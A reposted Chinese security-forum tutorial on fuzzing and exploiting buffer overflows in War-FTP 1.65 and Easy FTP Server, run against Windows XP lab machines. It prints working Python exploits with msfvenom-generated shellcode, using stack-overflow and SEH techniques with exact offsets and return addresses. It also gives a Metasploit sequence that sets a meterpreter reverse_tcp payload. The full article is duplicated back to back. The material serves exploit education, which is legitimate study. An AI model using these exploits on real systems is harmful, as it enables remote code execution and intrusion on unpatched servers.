读书笔记——典型FTP软件的模糊测试和漏洞利用
以下文章选自《看雪学院》
本文为看雪论坛精华文章
看雪论坛作者ID:MXChange
最近笔者通过一些优秀书籍来学习模糊测试和漏洞利用程序的编写方法。本文在这些案例的基础上拓宽思路,给读者,特别是初学者,带来有关漏洞方面的更加翔实的材料,读者可以对照参考。
材料一:《渗透测试完全初学者指南》中有关 War-FTP 1.65 的内容
1.1 概述
背景描述:在该书的第17、18章中,编写了一个基于栈溢出和 SEH 机制的漏洞利用程序,使用 Python 以 TCP socket 的方式连接 FTP 软件,用工具ImmunityDebugger 和 mona 来查找各种参数,最终实现 Exploit。在本文中,利用与原书不同的工具和方法来验证、利用漏洞。
实验环境:攻击机 Kali Linux 2019.2(虚拟机)、测试机 Windows XP SP3 x86 简体中文版(虚拟机)、War-FTP 1.65 软件。
1.2 War-FTP 1.65的模糊测试
先假定我们不知道 War-FTP 1.65 软件存在漏洞,因此采用模糊测试的方法来探测是否存在漏洞。使用以下 Python 程序(部分):
ftp = FTP()
port = 21
ftp.connect('127.0.0.1',port) # 连接 FTP 服务器
username = 'A'*800
ftp.login(username,'')
--snip--
ftp.quit()
使用 Python ftplib 模块提供的方法来连接运行于本机的 War-FTP 1.65 软件,登录用户名发送 800 个字母“A”,程序崩溃,可以初步判断程序存在缓冲区溢出漏洞。用 OD 监视程序,如图 1 所示。
图 1
1.3 栈溢出的基本原理
先看一张函数调用的示意图,如图 2 所示。
图 2
函数 F1 在调用 F2 之前,F1 会保存 F2 结束以后的返回地址,然后移交给F2 执行,F2 执行完毕后,根据记录的返回地址复原栈帧,继续执行 F1 函数。
在图1中可以看出,当向一个有栈溢出漏洞的程序发送大量数据时,ESP、EBP 等寄存器都可以被垃圾数据淹没。
由于 EI 寄存器存放下一条指令的地址,因此可以编写一个 Exploit 程序,使 EIP 指向预设的一段叫做 Shellcode 的指令,从而达到控制系统的目的。
由于栈的布局原因,通常使用 JMP ESP 指令来覆盖返回地址,并且将 Shellcode 存放到 ESP 处,从而引导 CPU 执行 Shellcode。
1.4 编写基于栈溢出Exploit
接下来我们编写 Exploit 获取各个参数依靠的工具是 Metasploit ,关键寄存器的偏移数和 JMP ESP 的地址是需要获得的重要数值。使用 pattern_create 来创建 1000 的字符的测试用例,如图 3 所示。
图3
修改上面的 Python 程序,将这 1000 个字符作为用户名,发送给 War-FTP 1.65 软件。
发送之前,先用 OD 附加(attach)到 FTP 的进程之上。
发送完毕,得到的结果如图 4 所示,可以看出,此时 ESP 的值是 0x71413471,EIP 的值是 0x32714131。
图4
再回到 Kali Linux 系统中,pattern_offset 来将两个寄存器的值进行定位,如图 5 所示,ESP 的偏移是 493,EIP的偏移是 485。这意味着,向用户名发送 485 个字节可以定位到 EIP,8 个字节之后则是 ESP。
图5
接下来确定 JMP ESP 的地址。ws2_32.dll 是 Windows 系统中有关网络方面的系统模块,可以将它复制到 Kali Linux 系统中,使用 msfbinscan 来扫描该模块中的 JMP ESP,结果如图 6 所示,获得地址是 0x71a22b53。
图6
接下来生成 Shellcode。为了方便,本文不再具体阐述 Shellcode 的编写,采用从 Metasploit 直接生成的方式。运行如下命令得到 Shellcode:
msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -a x86 --platform windows -b '\x00\x40\0a\x0d' -f c
其中,“-p”是指攻击载荷(payload),在 windows/exec 方式下可以打开计算器程序(calc.exe);“EXITFUNC”指定退出方式;“-a x86 --platform windows”指程序运行平台。
“x86、windows”是默认选项,对于本程序来说可以忽略不填,可根据实际需要填写;“-b”是排除坏字符,“-f”是指以 C 程序的方式生成 Shellcode,略作修改即可在 Python 中使用。
现在,各项数值均已确定,可以生成 Exploit 了。刚才计算出 ESP 与 EIP 之间差 8 个字节,其中 4 个字节是 JMP ESP 的地址,另外 4 个字节填充nop(padding),此外还需要抬高栈顶的6个字节("\x81\xc4\x24\xfa\xff\xff"),以便保护 Shellcode。
综上,编写以下Python程序(部分):
buf = ("\xba\x8e\x56\xd6\xde\xd9\xcd\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x31\x31\x53\x13\x03\x53\x13\x83\xc3\x8a\xb4\x23\x22\x7a\xba"
"\xcc\xdb\x7a\xdb\x45\x3e\x4b\xdb\x32\x4a\xfb\xeb\x31\x1e\xf7"
"\x80\x14\x8b\x8c\xe5\xb0\xbc\x25\x43\xe7\xf3\xb6\xf8\xdb\x92"
"\x34\x03\x08\x75\x05\xcc\x5d\x74\x42\x31\xaf\x24\x1b\x3d\x02"
"\xd9\x28\x0b\x9f\x52\x62\x9d\xa7\x87\x32\x9c\x86\x19\x49\xc7"
"\x08\x9b\x9e\x73\x01\x83\xc3\xbe\xdb\x38\x37\x34\xda\xe8\x06"
"\xb5\x71\xd5\xa7\x44\x8b\x11\x0f\xb7\xfe\x6b\x6c\x4a\xf9\xaf"
"\x0f\x90\x8c\x2b\xb7\x53\x36\x90\x46\xb7\xa1\x53\x44\x7c\xa5"
"\x3c\x48\x83\x6a\x37\x74\x08\x8d\x98\xfd\x4a\xaa\x3c\xa6\x09"
"\xd3\x65\x02\xff\xec\x76\xed\xa0\x48\xfc\x03\xb4\xe0\x5f\x49"
"\x4b\x76\xda\x3f\x4b\x88\xe5\x6f\x24\xb9\x6e\xe0\x33\x46\xa5"
"\x45\xdb\xa4\x6c\xb3\x74\x71\xe5\x7e\x19\x82\xd3\xbc\x24\x01"
"\xd6\x3c\xd3\x19\x93\x39\x9f\x9d\x4f\x33\xb0\x4b\x70\xe0\xb1"
"\x59\x13\x67\x22\x01\xfa\x02\xc2\xa0\x02")
ftp = FTP()
port = 21
ret = struct.pack('<L', 0x71a22b53)
padding = "\x90" 4
ftp.connect('127.0.0.1',port) # 连接FTP服务器
username = 'A'485 + ret + padding + "\x81\xc4\x24\xfa\xff\xff" + buf
ftp.login(username,'') # 登录
--snip—
ftp.quit()
用 OD 附加 War-FTP 1.65 软件,然后运行 Exploit 程序,实验成功弹出了计算器,如图 7 所示。
图7
1.5 修改Metasploit的Ruby程序以适配Windows XP SP3 x86简体中文版系统
在编写完 Python 版的 Exploit 之后,想测试一下 Metasploit 中的 Ruby 程序,键入如下命令,攻击失败,如图 8 所示。
search war-ftpd
use exploit/windows/ftp/warftpd_165_user
show payloads
set payload windows/meterpreter/reverse_tcp
show options
set rhost 192.168.225.130
set lhost 192.168.225.131
exploit
图8
在图中可以看到,失败的原因是目标(target)系统中没有包括 Windows XP SP3 x86 简体中文版系统。
于是找到这个 Ruby 攻击程序,将 Id 为 4 的目标系统的名字及 JMP ESP 地址进行修改适配,修改保存之后重新加载(reload),攻击成功,如图 9 所示。
图9
1.6 基于SEH的漏洞利用基本原理
SEH(Structured Exception Handling),即结构化异常处理,是 Windows 系统处理程序错误或异常的重要手段。SEH 以链表的形式存在,触发异常后,从第一个异常处理程序开始查找,如未能处理相关异常,就会传递到下一个异常处理程序,直到得到处理。
如所有异常处理程序最终均未能处理异常,则会弹出非常熟悉的类似于“进程遇到错误”的窗口。当然,SEH 的具体技术细节很复杂,本文只是简要叙述,此处不作为重点。
在漏洞利用技术中,如果以某种方式覆盖了栈中异常处理程序的地址,就能够控制这个应用程序,达到任意执行程序的目的。将这个过程描述如下:
(1)用垃圾数据淹没栈的空间,直至最近的一处异常处理程序所在地址。
(2)使用一条 POP/POP/RET 指令的地址来覆盖异常处理程序的地址。之所以使用 POP/POP/RET,是因为需要一个“ESP+8”的操作,才能指向下一个SEH记录的地址,POP/POP/RET 操作可以达到等效的目的。
(3)由于需要跳过异常处理程序地址,因此要用短跳转6个字节来替换NSEH,然后再用 nop 补齐两个字节。
(4)由于 NSEH 指向 ShellCode,所以成功执行 ShellCode,完成漏洞利用工作。
以上过程如图 10 所示:
图10
1.7 编写基于SEH的Exploit
还记得上文创建的 1000 个字符的测试用例吗?将这个测试用例用 Python 发送到 FTP 软件中,观察栈的情况,如图 11 所示。
图11
可以看到,NSEH 的值是 0x30744139,SEH 的值是 0x41317441。接下来需要进行定位,回到 Kali 中,如图 12 所示,SEH 的偏移是 573,则 NSEH的偏移是573-4=569。
图12
如前所述,短跳转的机器码是 0xEB,跳转 6 个字节,再补充 2 个字节,因此可以用"\xEB\x06\x90\x90"来填充 NSEH。
至于 SEH,需要查找 POP/POP/RET 的地址来填充,考虑到在 XP SP3 系统中可能会受到 SafeSEH 机制的影响,因此决定不从系统模块中查找,改为从软件安装路径下的所有模块中查找,把软件安装路径下 6 个模块复制到 Kali 系统中进行查找。
按名字顺序,第一个模块 CODBCLog.dll 查找的地址为 0x10001b6e 等三个,由于都含有坏字符“0x00”故舍弃;第二个模块 Mfc42.dll 查找出很多地址,在舍弃坏字符“0x40”后向下寻找,选定了地址 0x5f428c4a。
接下来生成了一个弹出 cmd 的 Shellcode,Exploit 部分代码如下,成功弹出 cmd,如图 13 所示。
buf= ("\xdb\xc5\xbf\xa6\x89\x7c\x02\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x31\x31\x7d\x17\x03\x7d\x17\x83\x63\x8d\x9e\xf7\x97\x66\xdc"
"\xf8\x67\x77\x81\x71\x82\x46\x81\xe6\xc7\xf9\x31\x6c\x85\xf5"
"\xba\x20\x3d\x8d\xcf\xec\x32\x26\x65\xcb\x7d\xb7\xd6\x2f\x1c"
"\x3b\x25\x7c\xfe\x02\xe6\x71\xff\x43\x1b\x7b\xad\x1c\x57\x2e"
"\x41\x28\x2d\xf3\xea\x62\xa3\x73\x0f\x32\xc2\x52\x9e\x48\x9d"
"\x74\x21\x9c\x95\x3c\x39\xc1\x90\xf7\xb2\x31\x6e\x06\x12\x08"
"\x8f\xa5\x5b\xa4\x62\xb7\x9c\x03\x9d\xc2\xd4\x77\x20\xd5\x23"
"\x05\xfe\x50\xb7\xad\x75\xc2\x13\x4f\x59\x95\xd0\x43\x16\xd1"
"\xbe\x47\xa9\x36\xb5\x7c\x22\xb9\x19\xf5\x70\x9e\xbd\x5d\x22"
"\xbf\xe4\x3b\x85\xc0\xf6\xe3\x7a\x65\x7d\x09\x6e\x14\xdc\x44"
"\x71\xaa\x5b\x2a\x71\xb4\x63\x1b\x1a\x85\xe8\xf4\x5d\x1a\x3b"
"\xb1\x82\xf8\xe9\xcc\x2a\xa5\x78\x6d\x37\x56\x57\xb2\x4e\xd5"
"\x5d\x4b\xb5\xc5\x14\x4e\xf1\x41\xc5\x22\x6a\x24\xe9\x91\x8b"
"\x6d\x8a\x78\x10\xa0\x29\xfb\xbd\xbc")
ftp = FTP()
port = 21
seh = "\x4a\x8c\x42\x5f"
nseh = "\xeb\x06\x90\x90"
padding = "\x90" 1000 #触发异常
ftp.connect('127.0.0.1',port) #连接FTP服务器
username = 'A'569 + nseh + seh + buf + padding
ftp.login(username,'') #登录
--snip—
ftp.quit()
图13
材料二:《0day安全:软件漏洞分析技术》(第2版)中关于 Easy FTPServer 的内容
2.1 概述
背景描述:在该书第 18 章中,用 Python 编写了一个 PoC 以验证 Easy FTP Server 1.7.0.2 软件存在漏洞。
区别于 War-FTP 1.65 软件漏洞,该漏洞是在登录之后由于 FTP 命令处理不当产生的漏洞,书中测试出了 CWD 命令有缓冲区溢出漏洞,作者要求读者自行编写漏洞的 Exploit。
在本文中,利用与原书不同的工具和方法来验证、利用漏洞。
实验环境:攻击机 Kali Linux 2019.2(虚拟机)、测试机 Windows XP SP3 x86 简体中文版(虚拟机)、Easy FTP Server 1.7.0.2 软件。
2.2 EasyFtp软件的模糊测试
本文使用 EasyFuzzer2.0 中的 FTPFUZZ功 能来对 Easy FTP Server 进行模糊测试。
首先让被测软件正常运行,然后打开 FTPFUZZ,正确填写 IP 地址、端口号、FTP账号、密码等信息,点击 FUZZING 按钮,稍等片刻,如图 14 所示,发现指令 APPE 出现可能的异常,FTP 软件停止运行。
下面编写 Exploit 来尝试利用 APPE 指令漏洞。
图14
2.3 编写基于栈溢出Exploit
与上文中定位方法相同,偏移 268 字节可以到达 EIP;JMP ESP 也继续沿用;ESP 与 EIP 之间用 8 个字节的 padding 补齐;使用一段精简的弹出计算器的 Shellcode。
关键指令如下,程序运行时需要填写参数(127.0.0.1 APPE),如图 15 所示。
crash = "\x41" 268 + ret + padding + buf
图15
三、简析更高版本 Windows 系统上 Exploit 编写遇到的挑战
在比 Windows XP 更高版本的系统中,最流行的系统就是 Windows 7 和10。
首先以表 1 的形式简析在 Windows 7 系统中遇到的一些漏洞利用缓解机制,最后再讨论 Windows 10 系统中遇到的新情况。
表1
最新的 Windows 10 系统中,在保留上述漏洞利用缓解机制的基础上,进一步做了强化,体现在了 Windows Defender 之中,如图 16 所示,名叫Exploit Protection。
在“系统设置”方面,包含了 DEP、ASLR、SEHOP、堆完整性等内容,可根据实际需要进行设置;在“程序设置”方面,可针对每个程序进行设置,功能强大,设置方便。
总之,Windows 10 系统不愧是“有史以来最安全的 Windows 系统”,想要突破绝非易事,大家应当继续深入研究 Windows 10 系统的漏洞利用缓解机制。
图16
四、总结
本文简要介绍了基于栈溢出和 SEH 的漏洞利用基本原理,采用经典书籍中的例子,使用与原书中不同的工具、方法来测试漏洞与编写 Exploit,希望想学习漏洞技术的读者可以将本文与原书对照参考,动手实践,只有多多实践才能发现问题、解决问题。
由于本人水平所限,难免出现谬误,敬请读者批评指正。感谢文中提到的相关书籍及其他一些参考资料的作(译)者,感谢看雪安全论坛为技术爱好者提供的交流平台。
- End -
看雪ID:MXChange
https://bbs.pediy.com/user-891406.htm
*本文由看雪论坛 MXChange 原创,转载请注明来自看雪社区。
推荐文章++++
*
﹀
﹀
﹀
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com
戳“阅读原文”一起来充电吧!
本文为看雪论坛精华文章
看雪论坛作者ID:MXChange
最近笔者通过一些优秀书籍来学习模糊测试和漏洞利用程序的编写方法。本文在这些案例的基础上拓宽思路,给读者,特别是初学者,带来有关漏洞方面的更加翔实的材料,读者可以对照参考。
材料一:《渗透测试完全初学者指南》中有关 War-FTP 1.65 的内容
1.1 概述
背景描述:在该书的第17、18章中,编写了一个基于栈溢出和 SEH 机制的漏洞利用程序,使用 Python 以 TCP socket 的方式连接 FTP 软件,用工具ImmunityDebugger 和 mona 来查找各种参数,最终实现 Exploit。在本文中,利用与原书不同的工具和方法来验证、利用漏洞。
实验环境:攻击机 Kali Linux 2019.2(虚拟机)、测试机 Windows XP SP3 x86 简体中文版(虚拟机)、War-FTP 1.65 软件。
1.2 War-FTP 1.65的模糊测试
先假定我们不知道 War-FTP 1.65 软件存在漏洞,因此采用模糊测试的方法来探测是否存在漏洞。使用以下 Python 程序(部分):
ftp = FTP()
port = 21
ftp.connect('127.0.0.1',port) # 连接 FTP 服务器
username = 'A'*800
ftp.login(username,'')
--snip--
ftp.quit()
使用 Python ftplib 模块提供的方法来连接运行于本机的 War-FTP 1.65 软件,登录用户名发送 800 个字母“A”,程序崩溃,可以初步判断程序存在缓冲区溢出漏洞。用 OD 监视程序,如图 1 所示。
图 1
1.3 栈溢出的基本原理
先看一张函数调用的示意图,如图 2 所示。
图 2
函数 F1 在调用 F2 之前,F1 会保存 F2 结束以后的返回地址,然后移交给F2 执行,F2 执行完毕后,根据记录的返回地址复原栈帧,继续执行 F1 函数。
在图1中可以看出,当向一个有栈溢出漏洞的程序发送大量数据时,ESP、EBP 等寄存器都可以被垃圾数据淹没。
由于 EI 寄存器存放下一条指令的地址,因此可以编写一个 Exploit 程序,使 EIP 指向预设的一段叫做 Shellcode 的指令,从而达到控制系统的目的。
由于栈的布局原因,通常使用 JMP ESP 指令来覆盖返回地址,并且将 Shellcode 存放到 ESP 处,从而引导 CPU 执行 Shellcode。
1.4 编写基于栈溢出Exploit
接下来我们编写 Exploit 获取各个参数依靠的工具是 Metasploit ,关键寄存器的偏移数和 JMP ESP 的地址是需要获得的重要数值。使用 pattern_create 来创建 1000 的字符的测试用例,如图 3 所示。
图3
修改上面的 Python 程序,将这 1000 个字符作为用户名,发送给 War-FTP 1.65 软件。
发送之前,先用 OD 附加(attach)到 FTP 的进程之上。
发送完毕,得到的结果如图 4 所示,可以看出,此时 ESP 的值是 0x71413471,EIP 的值是 0x32714131。
图4
再回到 Kali Linux 系统中,pattern_offset 来将两个寄存器的值进行定位,如图 5 所示,ESP 的偏移是 493,EIP的偏移是 485。这意味着,向用户名发送 485 个字节可以定位到 EIP,8 个字节之后则是 ESP。
图5
接下来确定 JMP ESP 的地址。ws2_32.dll 是 Windows 系统中有关网络方面的系统模块,可以将它复制到 Kali Linux 系统中,使用 msfbinscan 来扫描该模块中的 JMP ESP,结果如图 6 所示,获得地址是 0x71a22b53。
图6
接下来生成 Shellcode。为了方便,本文不再具体阐述 Shellcode 的编写,采用从 Metasploit 直接生成的方式。运行如下命令得到 Shellcode:
msfvenom -p windows/exec CMD=calc.exe EXITFUNC=thread -a x86 --platform windows -b '\x00\x40\0a\x0d' -f c
其中,“-p”是指攻击载荷(payload),在 windows/exec 方式下可以打开计算器程序(calc.exe);“EXITFUNC”指定退出方式;“-a x86 --platform windows”指程序运行平台。
“x86、windows”是默认选项,对于本程序来说可以忽略不填,可根据实际需要填写;“-b”是排除坏字符,“-f”是指以 C 程序的方式生成 Shellcode,略作修改即可在 Python 中使用。
现在,各项数值均已确定,可以生成 Exploit 了。刚才计算出 ESP 与 EIP 之间差 8 个字节,其中 4 个字节是 JMP ESP 的地址,另外 4 个字节填充nop(padding),此外还需要抬高栈顶的6个字节("\x81\xc4\x24\xfa\xff\xff"),以便保护 Shellcode。
综上,编写以下Python程序(部分):
buf = ("\xba\x8e\x56\xd6\xde\xd9\xcd\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x31\x31\x53\x13\x03\x53\x13\x83\xc3\x8a\xb4\x23\x22\x7a\xba"
"\xcc\xdb\x7a\xdb\x45\x3e\x4b\xdb\x32\x4a\xfb\xeb\x31\x1e\xf7"
"\x80\x14\x8b\x8c\xe5\xb0\xbc\x25\x43\xe7\xf3\xb6\xf8\xdb\x92"
"\x34\x03\x08\x75\x05\xcc\x5d\x74\x42\x31\xaf\x24\x1b\x3d\x02"
"\xd9\x28\x0b\x9f\x52\x62\x9d\xa7\x87\x32\x9c\x86\x19\x49\xc7"
"\x08\x9b\x9e\x73\x01\x83\xc3\xbe\xdb\x38\x37\x34\xda\xe8\x06"
"\xb5\x71\xd5\xa7\x44\x8b\x11\x0f\xb7\xfe\x6b\x6c\x4a\xf9\xaf"
"\x0f\x90\x8c\x2b\xb7\x53\x36\x90\x46\xb7\xa1\x53\x44\x7c\xa5"
"\x3c\x48\x83\x6a\x37\x74\x08\x8d\x98\xfd\x4a\xaa\x3c\xa6\x09"
"\xd3\x65\x02\xff\xec\x76\xed\xa0\x48\xfc\x03\xb4\xe0\x5f\x49"
"\x4b\x76\xda\x3f\x4b\x88\xe5\x6f\x24\xb9\x6e\xe0\x33\x46\xa5"
"\x45\xdb\xa4\x6c\xb3\x74\x71\xe5\x7e\x19\x82\xd3\xbc\x24\x01"
"\xd6\x3c\xd3\x19\x93\x39\x9f\x9d\x4f\x33\xb0\x4b\x70\xe0\xb1"
"\x59\x13\x67\x22\x01\xfa\x02\xc2\xa0\x02")
ftp = FTP()
port = 21
ret = struct.pack('<L', 0x71a22b53)
padding = "\x90" 4
ftp.connect('127.0.0.1',port) # 连接FTP服务器
username = 'A'485 + ret + padding + "\x81\xc4\x24\xfa\xff\xff" + buf
ftp.login(username,'') # 登录
--snip—
ftp.quit()
用 OD 附加 War-FTP 1.65 软件,然后运行 Exploit 程序,实验成功弹出了计算器,如图 7 所示。
图7
1.5 修改Metasploit的Ruby程序以适配Windows XP SP3 x86简体中文版系统
在编写完 Python 版的 Exploit 之后,想测试一下 Metasploit 中的 Ruby 程序,键入如下命令,攻击失败,如图 8 所示。
search war-ftpd
use exploit/windows/ftp/warftpd_165_user
show payloads
set payload windows/meterpreter/reverse_tcp
show options
set rhost 192.168.225.130
set lhost 192.168.225.131
exploit
图8
在图中可以看到,失败的原因是目标(target)系统中没有包括 Windows XP SP3 x86 简体中文版系统。
于是找到这个 Ruby 攻击程序,将 Id 为 4 的目标系统的名字及 JMP ESP 地址进行修改适配,修改保存之后重新加载(reload),攻击成功,如图 9 所示。
图9
1.6 基于SEH的漏洞利用基本原理
SEH(Structured Exception Handling),即结构化异常处理,是 Windows 系统处理程序错误或异常的重要手段。SEH 以链表的形式存在,触发异常后,从第一个异常处理程序开始查找,如未能处理相关异常,就会传递到下一个异常处理程序,直到得到处理。
如所有异常处理程序最终均未能处理异常,则会弹出非常熟悉的类似于“进程遇到错误”的窗口。当然,SEH 的具体技术细节很复杂,本文只是简要叙述,此处不作为重点。
在漏洞利用技术中,如果以某种方式覆盖了栈中异常处理程序的地址,就能够控制这个应用程序,达到任意执行程序的目的。将这个过程描述如下:
(1)用垃圾数据淹没栈的空间,直至最近的一处异常处理程序所在地址。
(2)使用一条 POP/POP/RET 指令的地址来覆盖异常处理程序的地址。之所以使用 POP/POP/RET,是因为需要一个“ESP+8”的操作,才能指向下一个SEH记录的地址,POP/POP/RET 操作可以达到等效的目的。
(3)由于需要跳过异常处理程序地址,因此要用短跳转6个字节来替换NSEH,然后再用 nop 补齐两个字节。
(4)由于 NSEH 指向 ShellCode,所以成功执行 ShellCode,完成漏洞利用工作。
以上过程如图 10 所示:
图10
1.7 编写基于SEH的Exploit
还记得上文创建的 1000 个字符的测试用例吗?将这个测试用例用 Python 发送到 FTP 软件中,观察栈的情况,如图 11 所示。
图11
可以看到,NSEH 的值是 0x30744139,SEH 的值是 0x41317441。接下来需要进行定位,回到 Kali 中,如图 12 所示,SEH 的偏移是 573,则 NSEH的偏移是573-4=569。
图12
如前所述,短跳转的机器码是 0xEB,跳转 6 个字节,再补充 2 个字节,因此可以用"\xEB\x06\x90\x90"来填充 NSEH。
至于 SEH,需要查找 POP/POP/RET 的地址来填充,考虑到在 XP SP3 系统中可能会受到 SafeSEH 机制的影响,因此决定不从系统模块中查找,改为从软件安装路径下的所有模块中查找,把软件安装路径下 6 个模块复制到 Kali 系统中进行查找。
按名字顺序,第一个模块 CODBCLog.dll 查找的地址为 0x10001b6e 等三个,由于都含有坏字符“0x00”故舍弃;第二个模块 Mfc42.dll 查找出很多地址,在舍弃坏字符“0x40”后向下寻找,选定了地址 0x5f428c4a。
接下来生成了一个弹出 cmd 的 Shellcode,Exploit 部分代码如下,成功弹出 cmd,如图 13 所示。
buf= ("\xdb\xc5\xbf\xa6\x89\x7c\x02\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x31\x31\x7d\x17\x03\x7d\x17\x83\x63\x8d\x9e\xf7\x97\x66\xdc"
"\xf8\x67\x77\x81\x71\x82\x46\x81\xe6\xc7\xf9\x31\x6c\x85\xf5"
"\xba\x20\x3d\x8d\xcf\xec\x32\x26\x65\xcb\x7d\xb7\xd6\x2f\x1c"
"\x3b\x25\x7c\xfe\x02\xe6\x71\xff\x43\x1b\x7b\xad\x1c\x57\x2e"
"\x41\x28\x2d\xf3\xea\x62\xa3\x73\x0f\x32\xc2\x52\x9e\x48\x9d"
"\x74\x21\x9c\x95\x3c\x39\xc1\x90\xf7\xb2\x31\x6e\x06\x12\x08"
"\x8f\xa5\x5b\xa4\x62\xb7\x9c\x03\x9d\xc2\xd4\x77\x20\xd5\x23"
"\x05\xfe\x50\xb7\xad\x75\xc2\x13\x4f\x59\x95\xd0\x43\x16\xd1"
"\xbe\x47\xa9\x36\xb5\x7c\x22\xb9\x19\xf5\x70\x9e\xbd\x5d\x22"
"\xbf\xe4\x3b\x85\xc0\xf6\xe3\x7a\x65\x7d\x09\x6e\x14\xdc\x44"
"\x71\xaa\x5b\x2a\x71\xb4\x63\x1b\x1a\x85\xe8\xf4\x5d\x1a\x3b"
"\xb1\x82\xf8\xe9\xcc\x2a\xa5\x78\x6d\x37\x56\x57\xb2\x4e\xd5"
"\x5d\x4b\xb5\xc5\x14\x4e\xf1\x41\xc5\x22\x6a\x24\xe9\x91\x8b"
"\x6d\x8a\x78\x10\xa0\x29\xfb\xbd\xbc")
ftp = FTP()
port = 21
seh = "\x4a\x8c\x42\x5f"
nseh = "\xeb\x06\x90\x90"
padding = "\x90" 1000 #触发异常
ftp.connect('127.0.0.1',port) #连接FTP服务器
username = 'A'569 + nseh + seh + buf + padding
ftp.login(username,'') #登录
--snip—
ftp.quit()
图13
材料二:《0day安全:软件漏洞分析技术》(第2版)中关于 Easy FTPServer 的内容
2.1 概述
背景描述:在该书第 18 章中,用 Python 编写了一个 PoC 以验证 Easy FTP Server 1.7.0.2 软件存在漏洞。
区别于 War-FTP 1.65 软件漏洞,该漏洞是在登录之后由于 FTP 命令处理不当产生的漏洞,书中测试出了 CWD 命令有缓冲区溢出漏洞,作者要求读者自行编写漏洞的 Exploit。
在本文中,利用与原书不同的工具和方法来验证、利用漏洞。
实验环境:攻击机 Kali Linux 2019.2(虚拟机)、测试机 Windows XP SP3 x86 简体中文版(虚拟机)、Easy FTP Server 1.7.0.2 软件。
2.2 EasyFtp软件的模糊测试
本文使用 EasyFuzzer2.0 中的 FTPFUZZ功 能来对 Easy FTP Server 进行模糊测试。
首先让被测软件正常运行,然后打开 FTPFUZZ,正确填写 IP 地址、端口号、FTP账号、密码等信息,点击 FUZZING 按钮,稍等片刻,如图 14 所示,发现指令 APPE 出现可能的异常,FTP 软件停止运行。
下面编写 Exploit 来尝试利用 APPE 指令漏洞。
图14
2.3 编写基于栈溢出Exploit
与上文中定位方法相同,偏移 268 字节可以到达 EIP;JMP ESP 也继续沿用;ESP 与 EIP 之间用 8 个字节的 padding 补齐;使用一段精简的弹出计算器的 Shellcode。
关键指令如下,程序运行时需要填写参数(127.0.0.1 APPE),如图 15 所示。
crash = "\x41" 268 + ret + padding + buf
图15
三、简析更高版本 Windows 系统上 Exploit 编写遇到的挑战
在比 Windows XP 更高版本的系统中,最流行的系统就是 Windows 7 和10。
首先以表 1 的形式简析在 Windows 7 系统中遇到的一些漏洞利用缓解机制,最后再讨论 Windows 10 系统中遇到的新情况。
表1
最新的 Windows 10 系统中,在保留上述漏洞利用缓解机制的基础上,进一步做了强化,体现在了 Windows Defender 之中,如图 16 所示,名叫Exploit Protection。
在“系统设置”方面,包含了 DEP、ASLR、SEHOP、堆完整性等内容,可根据实际需要进行设置;在“程序设置”方面,可针对每个程序进行设置,功能强大,设置方便。
总之,Windows 10 系统不愧是“有史以来最安全的 Windows 系统”,想要突破绝非易事,大家应当继续深入研究 Windows 10 系统的漏洞利用缓解机制。
图16
四、总结
本文简要介绍了基于栈溢出和 SEH 的漏洞利用基本原理,采用经典书籍中的例子,使用与原书中不同的工具、方法来测试漏洞与编写 Exploit,希望想学习漏洞技术的读者可以将本文与原书对照参考,动手实践,只有多多实践才能发现问题、解决问题。
由于本人水平所限,难免出现谬误,敬请读者批评指正。感谢文中提到的相关书籍及其他一些参考资料的作(译)者,感谢看雪安全论坛为技术爱好者提供的交流平台。
- End -
看雪ID:MXChange
https://bbs.pediy.com/user-891406.htm
*本文由看雪论坛 MXChange 原创,转载请注明来自看雪社区。
推荐文章++++
*
﹀
﹀
﹀
公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com
戳“阅读原文”一起来充电吧!